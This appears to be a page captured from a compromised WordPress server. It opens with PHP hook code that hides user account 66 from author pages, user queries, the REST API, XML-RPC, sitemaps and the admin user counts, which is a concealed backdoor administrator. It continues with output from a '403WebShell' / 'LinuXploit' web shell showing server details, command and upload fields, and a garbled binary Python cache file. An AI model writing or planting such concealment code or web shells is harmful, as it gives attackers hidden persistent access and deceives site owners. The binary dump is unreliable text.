add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3.12/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.12/multiprocessing/__pycache__/resource_sharer.cpython-312.pyc
�

:5j���ddlZddlZddlZddlZddlZddlmZddlmZddlm	Z	dgZ
ejdk(re
dgz
Z
Gd	�de�Z
ne
d
gz
Z
Gd�d
e�ZGd�d
e�Ze�Zej"Zy)�N�)�process)�	reduction)�util�stop�win32�	DupSocketc��eZdZdZd�Zd�Zy)r	zPicklable wrapper for a socket.c�z��|j���fd�}tj|�j�|_y)Nc�J���j|�}|j|�y�N)�share�
send_bytes)�conn�pidr�new_socks   ��6/usr/lib/python3.12/multiprocessing/resource_sharer.py�sendz DupSocket.__init__.<locals>.sends��� ���s�+������&�)�dup�_resource_sharer�register�close�_id)�self�sockrrs   @r�__init__zDupSocket.__init__s-����x�x�z�H�
'�(�0�0��x�~�~�F�D�Hrc��tj|j�5}|j�}t	j
|�cddd�S#1swYyxYw)z1Get the socket.  This should only be called once.N)r�get_connectionr�
recv_bytes�socket�	fromshare)rrrs   r�detachzDupSocket.detach$sE��!�0�0����:�
/�d����)���'�'��.�
/�
/�
/�s�%A�AN��__name__�
__module__�__qualname__�__doc__rr#�rrr	r	s��-�	G�	/r�DupFdc��eZdZdZd�Zd�Zy)r*z-Wrapper for fd which can be used at any time.c�z��tj|���fd�}�fd�}tj||�|_y)Nc�4��tj|�|�yr
)r�send_handle)rr�new_fds  �rrzDupFd.__init__.<locals>.send1s����%�%�d�F�C�8rc�0��tj��yr
)�osr)r/s�rrzDupFd.__init__.<locals>.close3s������� r)r1rrrr)r�fdrrr/s    @rrzDupFd.__init__/s.����V�V�B�Z�F�
9�
!�'�0�0��u�=�D�Hrc��tj|j�5}tj|�cddd�S#1swYyxYw)z-Get the fd.  This should only be called once.N)rrrr�recv_handle)rrs  rr#zDupFd.detach7s9��!�0�0����:�
3�d� �,�,�T�2�
3�
3�
3�s	�?�ANr$r)rrr*r*-s��;�	>�	3rc�F�eZdZdZd�Zd�Zed��Zd
d�Zd�Z	d�Z
d	�Zy)�_ResourceSharerz.Manager for resources using background thread.c���d|_i|_tj�|_d|_d|_d|_tj|tj�y)Nr)�_key�_cache�	threading�Lock�_lock�	_listener�_address�_threadr�register_after_forkr6�
_afterfork)rs rrz_ResourceSharer.__init__?sI����	�����^�^�%��
������
����� � ���'A�'A�Brc��|j5|j�|j�|xjdz
c_||f|j|j<|j|jfcddd�S#1swYyxYw)z+Register resource, returning an identifier.Nr)r<r>�_startr8r9)rrrs   rrz_ResourceSharer.registerHsd��
�Z�Z�	.��}�}�$����
��I�I��N�I�&*�E�]�D�K�K��	�	�"��M�M�4�9�9�-�	.�	.�	.�s�A$A;�;Bc��ddlm}|\}}||tj�j��}|j|t
j�f�|S)z<Return connection from which to receive identified resource.r��Client��authkey)�
connectionrFr�current_processrHrr1�getpid)�identrF�address�key�cs     rrz_ResourceSharer.get_connectionQsG��	'������7�G�$;�$;�$=�$E�$E�F��	����R�Y�Y�[�!�"��rNc��ddlm}|j5|j��||jt	j
�j��}|jd�|j�|jj|�|jj�rtjd�|jj�d|_	d|_d|_|jj!�D]\}\}}|��|jj#�ddd�y#1swYyxYw)z:Stop the background thread and clear registered resources.rrENrGz._ResourceSharer thread did not stop when asked)rIrFr<r>rrJrHrrr?�join�is_aliver�sub_warningr=r9�items�clear)r�timeoutrFrOrNrrs       rrz_ResourceSharer.stopZs���&�
�Z�Z�	$��}�}�(��4�=�=�#*�#:�#:�#<�#D�#D�F�����t�����	����!�!�'�*��<�<�(�(�*��$�$�&;�<����$�$�&�#��� $��
�!%���*.�+�+�*;�*;�*=��&�C��$���G�����!�!�#�!	$�	$�	$�s�DD:�:Ec�:�|jj�D]\}\}}|��|jj�|jj	�|j
�|j
j
�d|_d|_d|_yr
)	r9rTrUr<�_at_fork_reinitr=rr>r?)rrNrrs    rrAz_ResourceSharer._afterforkos{��"&�+�+�"3�"3�"5�	��C��$���G�	��������
�
�"�"�$��>�>�%��N�N� � �"������
���rc�h�ddlm}|j�Jd��tjd�|tj�jd��|_|jj|_	tj|j��}d|_
|j�||_y)	Nr)�ListenerzAlready have Listenerz0starting listener and thread for sending handles�)rH�backlog)�targetT)rIrZr=r�debugrrJrHrMr>r:�Thread�_serve�daemon�startr?)rrZ�ts   rrCz_ResourceSharer._startzs���(��~�~�%�>�'>�>�%��
�
�E�F�!�'�*A�*A�*C�*K�*K�UX�Y������.�.��
����D�K�K�0�����	���	���rc�*�ttd�r6tjtjtj��		|j
j
�5}|j�}|�
	ddd�y|\}}|jj|�\}}	|||�|�	ddd��v#|�wxYw#1swY�xYw#tj�s$tjtj��Y�UxYw)N�pthread_sigmask)�hasattr�signalre�	SIG_BLOCK�
valid_signalsr=�accept�recvr9�popr�
is_exiting�sys�
excepthook�exc_info)rr�msgrN�destination_pidrrs       rr`z_ResourceSharer._serve�s����6�,�-��"�"�6�#3�#3�V�5I�5I�5K�L��

4��^�^�*�*�,�	 ���)�)�+�C��{��	 �	 �,/�(�C��"&�+�+�/�/�#�"6�K�D�%� ��T�?�3���	 ������	 �	 ��
4����(��N�N�C�L�L�N�3�sH�	C�#C
�7C�#C
�$	B>�-C
�5C�>	C�C
�
C�C�:Dr
)r%r&r'r(rr�staticmethodrrrArCr`r)rrr6r6=s8��8�C�.�����$�*	�	�4rr6)r1rgr!rnr:�r�contextrr�__all__�platform�objectr	r*r6rrr)rr�<module>rys���
�
�
�
������(���<�<�7����}��G�
/�F�
/� ��y��G�
3��
3� Y4�f�Y4�x#�$�����r

Youez - 2016 - github.com/yon3zu
LinuXploit